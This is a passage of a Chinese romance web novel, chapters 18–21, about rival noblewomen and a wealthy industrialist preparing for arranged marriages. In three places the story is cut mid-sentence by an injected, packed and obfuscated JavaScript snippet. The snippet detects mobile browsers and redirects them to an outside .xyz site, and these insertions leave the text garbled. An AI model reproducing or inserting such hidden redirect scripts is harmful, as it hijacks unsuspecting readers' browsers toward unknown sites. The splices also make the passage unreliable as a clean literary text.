另一边,完成掉落的小女仆跑到角落里,亲眼看见艾米丽捡走圣经,这才松了口气。 摸了摸口袋里的酬劳,小女仆也向神祈祷——这样的任务多来点吧,阿门。 18. 第 18 章 宴会风波过后,查尔维斯平静了数日。 说实话,伊莎贝尔挺喜欢争斗,也喜欢胜利。但对于扯头花般的闹剧毫无兴趣。 可路易莎显然不这么想,短暂的失利更激发了她的好胜心。 休整数日,脸还没完全恢复,路易莎就打扮隆重,头戴高耸蕾丝帽,向伊莎贝尔再次宣战。 彼时,伊莎贝尔正在卧室写信,门被敲响,一打开就看见斗鸡似的路易莎。 “听着,奥黛丽·诺曼!你害我丢尽脸面的仇,不会就这么算了!”路易莎气势汹汹,演都不演了,“等着瞧吧,你在查尔维斯的日子还长着呢!” “好的,路易莎小姐。”伊莎贝尔懒洋洋托腮,背靠书桌,看着她头顶的宝石帽针,“下次采购清单记得划掉。” “你!”一想到自己的天衣无缝的计划被那么快破解,路易莎又气又急,“你敢羞辱我?!” 伊莎贝尔差点笑出声。 她放下给奥黛丽写信的笔,起身道:“不,我只是觉得你有点……” 划掉一些较为冒犯智商的词,伊莎贝尔说:“可爱。” 路易莎一怔,随后更加愤怒:“还说没有羞辱我?!奥黛丽……你知不知道我是谁?我是霍华德……” “你是霍华德侯爵府的独生女,家境优渥,从小饱受宠爱,长大后嫁入公爵府。”伊莎贝尔打断她,耸耸肩,“我当然知道这些,路易莎。” 伊莎贝尔顿了顿,缓缓走到她面前,仔细打量一番:“唔,你的扇子是我稀释过的,脸上的红肿明天就能好。” “别假惺惺了!诺曼小姐!”路易莎一把甩开伊莎贝尔的手,眸光渐沉,“你应该知道在你之前,那四个未婚妻的下场吧?埃德蒙和海因里希、我和你、是不死不休的关系!” 路易莎收起方寸大乱的神情,恢复初见时的模样。 伊莎贝尔起初还真被她这副聪明相骗到了,现在嘛…… 她笑了笑,盯着路易莎的褐色眼睛:“说对了一半,埃德蒙与海因里希的确不死不休,但……我和你不是。” 路易莎眼神嘲讽:“夫妻的利益从来是一致的,别说傻话。” 伊莎贝尔没有反驳,只是拉她进房间,按着她在梳妆镜前坐下。 “以牙还牙的手段,只对付你一个人足够。可你知道我为什么要多此一举,惩罚埃德蒙吗?” 伊莎贝尔揭开路易莎的帽子,红肿的脸颊暴露在阳光下。 接触到刺目的光线,路易莎下意识躲闪,却鬼使神差地没有躲避伊莎贝尔的手。 “哼,想必是一石二鸟,更显你的智慧。”路易莎冷哼。 伊莎贝尔将药油点涂在她的脸上,淡淡道:“这当然是其一,不过我的智慧不需要在这种幼稚的斗争里彰显。” 她顿了顿,“路易莎,你有没有想过,身为侯爵之女的你,本该嫁给海因里希,却在出嫁前夕与埃德蒙坠入爱河,这件事真的是命运的安排吗?” 路易莎神情一怔。 贵族们的故事通常不是秘密,这些天,她也听说了伊莎贝尔派女仆到处打探,并不为此奇怪。 四年前,霍华德侯爵府和斯宾塞公爵府定亲,路易莎本该成为公爵夫人,却意外与埃德蒙在社交舞会上认识,并私定终身。私奔前夕,这桩丑事被父亲霍华德侯爵发现,为保家族颜面,只好跟公爵府商量将新郎换成弟弟埃德蒙。 私奔丑闻对于当下的时代来说,相当恶劣。路易莎从不许旁人提及。 “诺曼小姐,如果你想挑拨离间,那我只能告诉你白费功夫。”路易莎倏然拨开她的手,眼神冰冷,“我和埃德蒙很相爱。” “当然,我确信你爱他,绝不会质疑这一点。”伊莎贝尔漫不经心,“但丈夫的利益不代表你的利益,路易莎。” 镜中倒映着两位女士的脸,伊莎贝尔看见路易莎眼底划过迷茫。 “埃德蒙一无所有却想争夺爵位,你利用侯爵府的势力与财产助他良多,做了脏事,沾了人命,最后你能得到什么?成为公爵夫人?可是……”伊莎贝尔贴近她的脸,直视着镜中人,突然笑了,“你忘了吗?如果没有埃德蒙与你的缘分,你本来就是公爵夫人,何必去争?” “现在,路易莎,好好想想,这段情分到底是上天注定,还是某人的别有用心?”伊莎贝尔轻声说,“他所追求的东西,是你要的吗?值得一位品行端正的侯爵千金为他赴汤蹈火,手上站满罪恶吗?” 伊莎贝尔冰冷缓慢的嗓音,如同咒语一般灌入路易莎的脑海。 她身形僵硬,记忆尘封的怀疑和不安,像开闸的河流般一泄而出。 “够了!”路易莎大吼,她颤抖着嘴唇,呼吸急促,“别再说了!” “咚咚咚!” 门突然被敲响,路易莎的贴身女仆不安地问:“路易莎太太,你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15908217|176683||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还好吗?发生什么事了?需要我进去吗?” 意识到自己失态,路易莎深吸一口气,整理好仪容,起身,“不用了,我这就出来。” 伊莎贝尔没有拦她,依旧坐下写着未完的信。 在大门敞开的一瞬间,刚才的谈话仿佛消弭殆尽,只是路易莎的幻觉。可她知道,那一句句箴言般的话语,都烙印在了心里。 路易莎顿住脚步,忽然回头:“诺曼小姐,我承认你很聪明,但聪明在查尔维斯没用。” “你以为就凭我这个侯爵千金,能让四个未婚妻消失吗?”她压低声音,盯着伊莎贝尔的背影,“奥黛丽,你的对手从来不只我一个。” 脚步声逐渐远去,阳光从窗台泄下,照进屋内。 伊莎贝尔眸光微顿,笔尖无意识滑出墨水痕。 路易莎短时间内估计不会再蹦跶,但是她的话似乎和前几日海因里希的忠告重叠在一起——查尔维斯还有许多潜伏在暗处的眼睛和危机。 经过初步交锋与试探,她认同路易莎所说——霍华德侯爵府千金的智慧与谋算,不足以支撑她暗害四位贵族小姐,还不被怀疑。 要知道,那几位未婚妻,最次都出身于伯爵府。 四位千金相继病死,家人怎会不追究?当年尸首经过检验了吗?究竟有没有疑点? …… 一连串的推理塞满了伊莎贝尔的脑子。 可是饭要一口一口吃,事要一件一件解决。 伊莎贝尔与海因里希的婚期定在半个月后,八月二十号。这是女王钦赐的日期,届时会在锡兰公国皇室教堂举办,由教皇亲自证婚。 这个规制已经超过公爵府的标准,算是女王特批。斯宾塞家上下都很重视,薇奥莱特老夫人忙着置办结婚要用的婚纱珠宝,所以将后面所有的社交都推给了伊莎贝尔,美其名曰:练手。 下周就有来自王室公爵的宴会邀请,伊莎贝尔要作为查尔维斯的代表参加。这将是她首次出门社交,想必又是一场看不见硝烟的战争。 不过此刻,她不着急操心这些。 伊莎贝尔默默封好信件,在信封上写:寄往肯特郡,伊莎贝尔·诺曼小姐收。 许久不见奥蒂,不知道这家伙过得怎么样?一定能吃能睡。 伊莎贝尔看着窗外的阳光,唇角微勾。 树梢停留的白鸽,突然飞向长空,似乎在帮她寄去思念。 19. 第 19 章 盛夏的肯特郡阳光灿烂,照进窗台。 白鸽在橡树枝头扑腾,好奇地歪头,注视着书桌旁读信的金发女孩。 “‘伊莎贝尔,希望收到这封信时你一切都好。寄给你的箱子收到了吗?不必为数额惊讶,它是留给你傍身的资产。假如身边有值得信任的人,可让他代为打理,但希望是露西筛选过的,毕竟除了隔壁的卢卡斯小姐,整个锡兰公国还没有你不信任的人。’” 露西就像伊莎贝尔派来的分|身,沉默且智慧。平时很少干预奥黛丽的决定,但遇到大事,她会默默帮奥黛丽筹谋好一切。 读到这里,奥黛丽懊恼抬头,“我在识人方面已经很有长进了,你说对吗露西?回信时一定这么告诉姐姐。” 露西点头:“当然,上次去镇上至少你认出了一天找你要六次钱的是同一个乞丐,棒极了。” “噢露西~”奥黛丽拖长声音,蓬松金发在阳光底下显得毛茸茸,“我只是不想戳穿那个可怜的小孩,请给出真心实意的赞赏,拜托了。” 露西笑意更浓,忍住想摸一摸毛茸茸的冲动。 “上帝作证,我是真心赞赏。富有爱心的女士会有好运相伴。” 毕竟善心的小夫人施舍一点儿银币,又不会致使温斯顿庄园破产。 奥黛丽高兴地大笑。 “姐姐的信总是这么短!”看着仅剩的半张纸,她又叹了口气,怀着不舍的心情念下去,“‘我与公爵的婚期定在八月二十日,婚礼将在圣威斯福特大教堂举行。虽然家人不能来,但会给你们准备纪念礼物,届时记得查收。挚爱你的。’” “等等!露西!我没看错吧!八月二十日?!”奥黛丽一扫阴霾,兴奋站起身,将信件递给露西,口中喃喃,“那我们岂不是在同一天结婚!我的天哪!太幸运了吧!” “是的,是八月二十日。”露西再次确认。 “棒极了!露西!我和姐姐同一天举行婚礼!”奥黛丽的眼睛瞬间亮了起来,窗外白鸽被她的笑声吓得扑腾乱飞。 露西笑看着奥黛丽开心得转圈圈,目光再次投向信上的花体字。 公爵府的婚期经过占卜,大致能推算出日子,不算秘密。而温斯顿庄园撞上同一天,真的是巧合吗?还是那位资本家先生刻意为之,好让肯特郡社交圈都知道怀特家族与斯宾塞家的姻亲? 当然,她不会将这些推测告诉奥黛丽,就像这封来自查尔维斯的信,也对此只字不提。 奥黛丽只需要为天赐巧合感到高兴,做一个快乐的新娘。 同一时刻,窗外,马蹄声由远及近。 奥黛丽正在四处找墨水,准备写回信。 露西没有打扰她,默默从橱柜里找出全新的墨水,不经意瞥向楼下。 马车四角金饰豪华,连扶手都镶嵌着象牙木。门开,一位中年妇人走了下来,查尔斯和赫尔曼上前迎接她。 天鹅绒手工地毯从富丽堂皇的主楼一直铺到室外,中央区域树立着圆形喷泉,拱卫着小天使雕像,仔细看,雕像色泽洁白如玉石。 更别提抬眼可见的室内,正对着的大理石台阶一路往上,金碧辉煌的大厅扑面而来金钱的气息。 “赫利,这太铺张了。”即便戴着价值连城的翡翠珠宝,出身底层的葛丽泰·库珀女士仍然对巨额财富没有归属感,“老实说,我还是不习惯。” 为避免列队欢迎的仆从们听见,葛丽泰的声音压得很低,只对身旁挽着她手的赫尔曼说。 耳尖的查尔斯俏皮地接话:“在温斯顿庄园,挥金如土是最容易培养的习惯,您会适应的,库珀夫人。谁让您有一个富可敌国的儿子呢?” 提到儿子,葛丽泰的确很骄傲,腼腆地笑了笑:“查尔斯,许久不见,你还是这么会奉承。” “噢,夫人,这可不是奉承,请相信我的诚实可靠。花您儿子的钱是我们的必修课!”查尔斯眨眨眼,夸张挑眉,“像另一位‘怀特夫人’就执行得很好。” 葛丽泰:“呃,你是说,那位诺曼小姐?” “是的,那可真是个开朗活泼的女士,料想你们一定谈得来。” “是吗?那好极了。”葛丽泰笑容有些勉强,下意识低头整理着装。早年因为辛苦劳作而患上的冻疮,与鸽子血戒指显得格格不入。 查尔斯并没有察觉库珀太太的不安,反而越发轻快地介绍起未婚妻女士,爱吃什么啦、爱去镇上逛啦、刚来的时候就成了卡洛琳克星啦,诸如此类。 “查尔斯。” 赫尔曼声调平缓,突然打断他的滔滔不绝。 “我母亲很累,需要休息。” “是!”查尔斯立刻闭嘴。 葛丽泰赶忙说:“别听他的,查尔斯,我不累。你可以接着说。” “不不不,即便您在场,我也不敢触怒温斯顿庄园的凯撒。”查尔斯摘帽颔首,笑着作出请进的手势,“请,库珀夫人。” 三人一边穿过人群,走进豪华大厅。 刚一进门,卡洛琳与身后的长串女仆,齐齐微笑鞠躬:“库珀夫人,向您问好。” 葛丽泰被这阵仗吓了一跳,手指不由得攥紧,“你、你们好。” 赫尔曼扫了眼卡洛琳,“我没有吩咐这些,都退下。” “是我想给库珀夫人一个迎接仪式。”卡洛琳挥退众女仆,自己却没走,笑着对葛丽泰颔首,“毕竟我们都想认识温斯顿真正的女主人。” 赫尔曼眉头微皱,查尔斯一眼就看出这是不高兴了。 在上司动怒前,老律师挤眉弄眼,给女管家使眼色:“卡洛琳,库珀夫人舟车劳顿,快带她去休息!” “好,夫人请随我来。” 卡洛琳瞪了查尔斯一眼,领着葛丽泰去准备好的卧室。 看着二位女士远去的背影,查尔斯无奈摇摇头,又跟上回书房的赫尔曼。 “怀特先生,再富有的单身汉婚期将至,也需要空出时间休息,顺便增进诺曼小姐与您母亲的感情!” “母亲不会想留下来的,伊莎贝尔·诺曼也不需要和谁增进感情。”赫尔曼冷漠地瞥着查尔斯,意有所指,“她只要会逛街,会花钱就行了。” “我的冷笑 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听说诺曼小姐出身男爵家庭,上流社会总是规矩很多,而葛丽泰出身底层贫民窟,如果不是儿子发达,这辈子都和这样的姑娘沾不上边,遑论当人家的婆婆。 “恰到好处的隆重,夫人。”卡洛琳微笑,眸光划过冷意,“别担心,您是长辈,尽管拿出长辈的气势。您做什么都是对的,不必看诺曼小姐的脸色。” “话是这么说,但……”葛丽泰垂眸,挤出一抹笑,“我怕在贵族小姐面前失了分寸,丢的是赫米的脸。” 镜子里,孔雀蓝宝石胸针光华四溢,配上深蓝色方领缎面礼服裙,头发盘成高发髻,点缀钻石发冠与耳环,俨然是富家太太的打扮。 但举手投足间的不安,一眼就能分辨她的心虚。 “千万别这么想。”卡洛琳打开房间门,作出邀请的手势,“就算是贵族又怎么样?她家已经落魄,为了还债才嫁过来。在这座庄园里,只有您才是女主人。” 葛丽泰受到鼓励,深吸一口气,努力挺直脊背:“是的,是的,这座庄园都是我儿子的。” “这就对了!第一面,您就要立住威严,别给她好脸色。”卡洛琳扶住葛丽泰走向晚宴厅。 “我这样行吗?”葛丽泰坐上餐厅主座,板着脸,“‘诺曼小姐,坐下!’” “棒极了。”卡洛琳竖起大拇指:“记得别笑,声音要沉,脸色要冷,就像您儿子那样,不能露怯。从此她就不敢得罪您了。” “坐下!”葛丽泰又连着模仿几遍,威严的面孔还真有几分赫尔曼的影子。 时针走向七点,外强中干的库珀夫人期望儿媳早点来,毕竟强撑着威严也是很累的。 与此同时,城堡楼上,听见露西禀报的奥黛丽豁然站起身,水蓝色的眼睛里满是兴奋。 “什么?怀特老夫人来了!我这就去见她!” 说着,拎起裙子就往外跑。 露西想叮嘱她,却没拦住。只好看着那个雀跃的背影叹气。 算了,天真的诺曼女士向来有好运气,希望这次也一样吧。 20. 第 20 章 “等等!我忘了拿东西!”奥黛丽一个急刹,又匆匆折返,差点撞上跟着的露西,“噢!抱歉!露西你先去!就说我在换衣服!” “可是……”露西话没说完,人又跑远了,“唉……” 长叹一口气,露西认命下楼报信。 宽敞大厅里,侍从们已经站成一排,手里端着托盘。长餐桌上已经摆放好餐具和烛台鲜花。 葛丽泰坐首位,赫尔曼在她右手边。查尔斯和卡洛琳作为商务助手,也列坐其中。 露西进去通报时,所有视线都聚焦在她身上。 如她所料,奥黛丽这个时候迟到,只会让人觉得是在摆贵族小姐的款。 卡洛琳坐在葛丽泰的左侧,压低声音道:“库珀夫人,看来我预料的没错,诺曼小姐想给您一个下马威。” 葛丽泰手指悄悄攥紧,眉心微蹙。 “我知道该怎么做,卡洛琳。”她深吸一口气,摆出凶狠地目光,瞪了一眼露西。 露西:“?” 瞪完人的葛丽泰手心微微冒汗,干咳两声,低头整理胸针。 孔雀蓝宝石在烛光下闪耀,晃得人睁不开眼。葛丽泰摆弄了片刻,发觉露西一直盯着自己,心跳顿时漏了半拍。 这个来自男爵府的女仆看出她很虚吗?还是这个胸针不合适?早知道不听卡洛琳的了! 她本来就觉得不该这么炫富,这也太暴发户了! 葛丽泰连连喝水,直到赫尔曼发现她的异状。 戴着真丝手套的左手轻拍母亲的肩膀,冷淡嗓音响起,“吩咐下去,不等了,上菜。” 卡洛琳立刻起身:“是!” 葛丽泰微微垂眸,心中的不安渐渐被抚平。 赫尔曼已经长大了,早在不知不觉中成为母亲的依靠。 应该说,从很小的时候开始,做儿子的就已经扛起了生活的重担。想起他那只戴手套的左手…… 葛丽泰匆忙低下头擦了擦眼睛。 她是个母亲,却总要儿子保护,现在在自家城堡里还要怕出身贵族的儿媳妇,真是窝囊! 不知哪里来的一股气,支撑着葛丽泰威严起来。 暗暗观察的露西只觉得葛丽泰突然气势逼人,心里不由得为奥黛丽捏把汗。 来不及通风报信,下一刻,门应声而开。 葛丽泰女士如临大敌,下意识把排练的台词,用冷漠的嗓音喊了出来:“诺曼小姐,请你——” 众人几乎同一时间抬头望去。 想象中的诺曼小姐应该身穿隆重华服,头上发髻高耸顶着帆船,再戴上硕大的珠宝项链,神情傲慢地踏进宴会厅。 然而,看到来人的那一秒,葛丽泰愣住,忘词了。 因为实际上的诺曼小姐—— 是个蛋糕。 呃不是,是插着蜡烛的奶油蛋糕被一双手先捧了进来,随即探出金发小脑袋,水蓝色大眼睛盯住陌生面孔的葛丽泰女士,在对方错愕的目光下,绽放笑容。 她一边走,一边唱:“祝你生日快乐~祝你生日快乐~祝你生——日——快乐~” 艰难地唱完一个小高音,人也站在了葛丽泰的面前。 蜡烛照着笑意盈盈的脸,诺曼小姐坚持发挥五音不全的歌喉,唱完最后一句:“祝~你~生~日~快~乐~” “美丽的女士,请允许我向你问好,您的胸针真漂亮。顺便,给您送上生日惊喜!” 全场陷入寂静。 奥黛丽浑然不觉,笑着解释:“查尔斯先生告诉我,您到的这天就是您的生日,这是我亲手做的蛋糕,希望您喜欢!” “呃,我的……生日?” 有那么两秒,葛丽泰女士忘了今夕是何夕,更忘了什么威严。 她看了看蛋糕,又看了看奥黛丽,“呃,那谢谢你的生日,哦不,谢谢我的生日,不是,我是说……” 赫尔曼看不下去,捏了捏鼻梁:“伊莎贝尔。” 奥黛丽慢半拍,回头:“嗯?” 赫尔曼盯着那双充满智慧的蓝眼睛,深吸一口气,“有没有一种可能,马车提前两天将她送到,但生日不会提前。” 奥黛丽眨了眨眼,现在轮到她愣住。 赫尔曼:“下次制造生日惊喜前,记得打听清楚。” 卡洛琳低声冷笑:“也许是刻意给夫人难堪呢,怎么有人连生日都弄错。” 露西瞥了卡洛琳一眼,淡淡道:“卡洛琳小姐,容我提醒你,从进入庄园到现在,女仆除了日常打扫之外,从不肯和我们交谈,也不透露温斯顿的任何信息。伊莎贝尔小姐只能和百忙之中抽空来一趟的查尔斯先生进行简短的对话。” “现在是怪我没有帮你们?”卡洛琳挑眉。 露西:“不敢,但你刚才指责伊莎贝尔小姐刻意给夫人难堪,纯属污蔑,请你道歉。” “我给她道歉?!”卡洛琳不可置信,“你……” “算了,露西。”奥黛丽脸色通红,“是我弄错了,我该给库珀夫人道歉。” “库珀夫人,我不是故意的。”她的声音越来越低,缓缓收回端蛋糕的手。 “不!”一只手突然接过蛋糕,葛丽泰笑着吹灭蜡烛,“是他们记错了,我就是今天过生日,谢谢你,诺曼小姐。” 众人有些诧异。 卡洛琳瞪大眼睛:好深的计谋!好高明的手段。 但是众仆人却不敢立刻道贺,都瞥着赫尔曼的反应。 冷面资本家依然没有表情,沉默数秒,缓缓开口:“生日快乐,库珀女士。” 葛丽泰莞尔,嗔着儿子:“谢谢赫利。” “棒极了!”查尔斯松了一口气,大笑,“您有一个难忘的生日,库珀夫人。” 众人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15920146|176683||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 齐声:“生日快乐,库珀夫人。” “谢谢大家。”葛丽泰笑容腼腆,在祝福声中吹灭蜡烛。 仆人有序上菜,众人终于开始享用晚宴。 奥黛丽眼睛亮亮地,直接在赫尔曼身边坐下,越过他给葛丽泰介绍蛋糕:“上面的蓝莓果酱很甜,您快尝尝!” 葛丽泰果然不再碰晚餐,优先吃着蛋糕,赞不绝口:“喔!十分美味!” “您别夸我,我有自知之明。”奥黛丽笑容羞涩,“我不擅长烹饪。” “不,你一定是没遇到合适的老师,或许我们可以一起探讨。”葛丽泰温和道。 二人就着小蛋糕你来我往,浑然忘了中间横着一个赫尔曼。 母亲和未婚妻在两侧滔滔不绝,银头发先生漠然吃着晚餐。 两人交流到蓝莓酱用哪里的果子最好,葛丽泰说了个地方,奥黛丽没听清,下意识探出头去。 淡金色的卷发落在银灰色长发上,让人想起马车上不妙的纠缠。 赫尔曼眉头微皱,正想出言提醒。 金色的发丝又飘然而去,擦过他左手的真丝手套,掀起隐秘的麻痒。 这隐秘的触碰,她浑然不觉。一面吃着东西,一面还笑呵呵地跟葛丽泰说话,眉眼生动,让人忍不住探究,她脑袋里装了什么,一天到晚这么高兴? 赫尔曼不知不觉停了刀叉。 奥黛丽察觉到视线,看了他一眼,迟疑问:“你也想吃蛋糕吗?” 赫尔曼抬眸:“……” 一句“不想”还没说,葛丽泰就切了一块递到他嘴边,上面还沾着厚厚的蓝莓果酱。 “吃吧,赫利,你小时候最爱吃甜食。” 赫尔曼闭了闭眼。 都知道是小时候了。 对着母亲殷切的目光,以及另一边不知道为什么也很灼热的视线,他还是没张开嘴。 灼热视线的主人还托着腮,歪头盯着他看,不知道笑什么。 “原来你的小名叫赫利。”她捂着嘴,笑眯眯。 赫尔曼:“很好笑吗?” 埃尔美平民窟的下等贱民,只配拥有这种名字。 甚至,这不是他的小名,而是他的原名。 进入不属于他的阶层,需要另一个名字作为通行证。 所以,她所见到的是赫尔曼·怀特。 “不,我是觉得……”她小声说,“有点可爱。” 生人勿近的资本家赫尔曼,好像一瞬间变成了邻居家爱吃蛋糕的赫利。 “很无趣的恭维。” 赫尔曼冷淡回应。 好在奥黛丽压根没听他说什么,再次投入与葛丽泰的畅聊。 耳边声音叽叽喳喳,赫尔曼沉默片刻,重新举起刀叉,却忘了要吃什么。 等意识到蓝莓果酱在舌尖化开的味道,已经来不及了。 21. 第 21 章 圆月高悬,照耀着安静的温斯顿庄园。 吃过晚饭,赫尔曼照例要处理未尽的公务。 葛丽泰推开他的房门,手里端着热奶茶,“早点休息,赫利。” “放那吧,你先去睡。”赫尔曼头也没抬,敷衍地应付母亲的关心。 葛丽泰没离开,而是拿出医药箱,示意他伸手。 赫尔曼顿了顿,放下笔,摘了手套,将左手递过去。 ——一道骇人的疤痕贯穿整个手掌,手背留下灼烧的印记。 葛丽泰一边上药,一边轻声道:“噢,我就知道你忙起来什么都不顾。就算不为身体着想,为着你笼络的那些贵族,你也要把手治好,否则怎么融入……” “母亲。”他冷淡打断,“这些你不用管。” 葛丽泰的话语哽在喉头,良久,讷讷点头:“好。” 煤油灯下,母亲眼角的皱纹越发明显,生满冻疮的手,小心翼翼地为他将药膏涂抹均匀。 赫尔曼忽然想起那双水蓝色的眼睛。 她恐怕这辈子都没看过这样的两只手。 埃尔美贫民窟里,带着孩子的年轻女人,是底层里的底层。可她靠着这双手,熬过一个又一个难捱的冬天。 赫尔曼看着掌心骇人的灼伤与疤痕,那段灰蒙蒙的记忆扑面而来。 他从来不介意别人提起自己的来时路。 诞生在至暗之地的可怜虫,凭着这双手,跟野狗抢食、跟恶邻搏斗、护住母亲让酗酒的家暴丈夫消失、从深不见底仿佛要将一生都埋葬的矿洞里挖出金子、又从哄抢黄金的大火中死里逃生,漂洋过海。 他每一笔钱都沾着血,自己的,别人的,可他不在乎。 火场逃脱的那一天,他才十三岁,左手留下的烙印像是与魔鬼做的交易。 献祭良知与情感甚至是灵魂,他要活着,要用仅剩的一条命,站起来,爬上去,爬到最高峰。 “赫利。” 母亲的声音拉回赫尔曼的思绪。 葛丽泰收起药箱,轻叹道:“我们已经过上了从前想都不敢想的日子,妈妈希望你拥有另一种幸福。” 她顿了顿,“诺曼小姐和我想象的贵族女性不太一样,我觉得,她是个好姑娘,你们……” “她是不是好姑娘与我无关。”赫尔曼平静道,“只要她姓诺曼,与斯宾塞家联姻,我都会娶。” “可是,就算是以这样的名义开始,未必不能创造好的结果。” 赫尔曼眸光微动。 想起金发姑娘托着腮,盈满笑意地看着自己。 那股蓝莓果酱味仿佛再次涌上舌尖——甜腻,湿滑,令人厌恶。 “母亲,换句话说,你也许能更明白。”他嗤笑,再次开口,“如果没有债务关系,男爵家庭的贵族小姐,会自愿嫁给一个暴发户吗?” 葛丽泰愣住,陡然陷入沉默。 她并不清楚贵族们之间的成规,也不觉得自己儿子差在哪里,可她明白,在锡兰公国,人与人之间会有无形的界限。 哪怕赫尔曼足够有钱,也无法凭一己之力打破那层屏障。 本来就是两个世界的人,因为利益而结合,就别奢望太多。 她能像今天这样用心照顾葛丽泰,无论真心还是假意,都已足够。 谈话不了了之,夜已深,葛丽泰起身离开。 临走时,她犹豫片刻,还是说:“赫利,不管怎么说,她既然嫁给你,你就要对她好,给她应有的尊重。” 赫尔曼签字的手顿了顿。 回过神,母亲的脚步已经远去。 - 回卧室的路上,路过一间半敞开门的房间。 已经走过去的赫尔曼,倒退两步,往里望去。 摇曳的灯光下,金发脑袋歪在桌边,呼呼大睡,手上的羽毛笔还蘸着墨水,晕出一片墨迹。 赫尔曼拎起信纸看了两行,又如上次一般的流水账——“亲爱的奥黛丽,展信安……我今天做了蓝莓小蛋糕,异常成功,库珀夫人夸我有天赋,连赫尔曼先生都吃得忘乎所以,来不及说话……” 赫尔曼嗤笑一声,看到这里就知道通篇鬼扯,充满臆想。 “……还有一个意外的发现,我们是同一天举行婚礼!这太让人惊讶了!简直是天赐巧合!希望到时候你也戴上蓝宝石皇冠!如果可以的话,希望能请一个画师记录当天的场景,爸爸妈妈还有姨妈们就能……” 写到这里,墨迹糊成一团。 赫尔曼的目光停留许久,将纸张放回,同时将她的胳膊也摆回原处。 银灰色长发擦过女孩雪白的脸颊。 梦里觉得痒,她挠了挠。 赫尔曼已经转身离开。 夏日的夜晚凉风习习,刚走了两步,他顿了顿,回眸看了眼没关严实的窗台,和她单薄的衣裳。 - 翌日早晨,奥黛丽被第一缕阳光叫醒。 她顶着蓬松的金发,揉了揉眼睛,刚想起身,被压麻的胳膊顿时酸痛。 “啊!”她发出轻呼,引来了露西。 看见屋里的情形,露西就知道是怎么回事。 “小姐,这样的事情不能再发生第二次了。”露西难得严肃,“昨晚值班的女仆太不负责,怎么能任由你在桌边睡着呢?万一生病可不是开玩笑的。” 这是一个小病被疏忽就足以送命的年代。 奥黛丽不敢顶嘴,笑着哄露西。 等胳膊恢复了,她站起身,一条毛毯从肩上滑落。 “昨晚有人来过我房间吗?”奥黛丽拎着毯子,闻了闻,上面有股雪松的香味。 露西摇摇头,看着紧闭的窗户,脸色好看了些。 奥黛丽:“兴许是路过的女仆?” 露西无奈:“噢,我的小姐,她们有这么好心,怎么不直接叫醒你?” 奥黛丽无言以对,很快把这件事抛在脑后。 怀特先生的母亲已经来了,婚礼即将到来,她现在的当务之急是跟赫尔曼打商量,看能不能请个画师! 兴冲冲地跑向二楼书房,还没走近,就听见里面传来说话声。 “噢!雇主阁下,多么大好的晨光啊,真适合睡懒觉!您一大早把我叫来,最好是有天大的事,否则我的妻子一定在背后诅咒你。” “别废话,把这些都买了。” “蓝宝石皇冠?镶钻石的婚纱?还要请一个画师? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15927183|176683||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' !” 奥黛丽瞪大眼睛,悄悄凑近,从门缝里偷看。 只见银头发先生冷酷无情,递上支票:“很难办?” “不难!”查尔斯眨眨眼,阴阳怪气,“果然,年轻的单身汉总会开窍。” 门外,奥黛丽愣住,脑子里极限思考这句话是什么意思,晃神之下,裙摆暴露了踪迹。 门内,银灰色的眼睛瞥见一闪而过的蕾丝裙摆,冷淡开口:“库珀夫人吩咐的,说要请一个画师,给婚礼当天画像。” 时下富裕家庭常请画师,这不稀奇。 奥黛丽也很快接受了这个说法。 她又快乐起来!库珀夫人太善解人意了! 眼见裙摆还没消失,赫尔曼皱眉,指节扣了扣桌面,“还要偷听到什么时候?” 查尔斯神情一肃,立刻往外走,对上心虚的奥黛丽,“诺曼小姐?” 奥黛丽伸手打招呼,笑容勉强:“嗨,查尔斯。” 赫尔曼瞥着被查尔斯拎进来的奥黛丽,面无表情:“刚才的你都听见了,还有什么要加的,一并告诉查尔斯。” 奥黛丽被突如其来的大方砸晕了头,掰着指头算了好一阵:“不行不行,太多了!我能不能回去列个单子给你,怀特先生?” 赫尔曼抬眸,“你觉得我是有空给你采买的人吗?” 查尔斯识趣地摘帽颔首:“愿意为您效劳,女士。” 奥黛丽笑容羞涩,然后毫不客气地细数一大串。 查尔斯同样没有压力,两个人合起伙来狠狠花赫尔曼的钱。 所幸资本家先生在关于钱的事情上,最不吝啬,任由他们挥霍。 等查尔斯记录得差不多,奥黛丽却还磨磨蹭蹭不愿意走。支支吾吾,“怀特先生……” 赫尔曼看了她两眼,三十七度的嘴说出冰冷的话:“上一个磨蹭三分钟才吐出几个字母的人已经被开除了,现在在庄园里捡牛粪。你想去义务劳动?” 奥黛丽立刻语速飞快:“你能不能给我点零花钱!我想买……” “买”字还没说完,一张支票“刷”地被撕下来,夹在修水双指间,递到她眼前。 “走。” 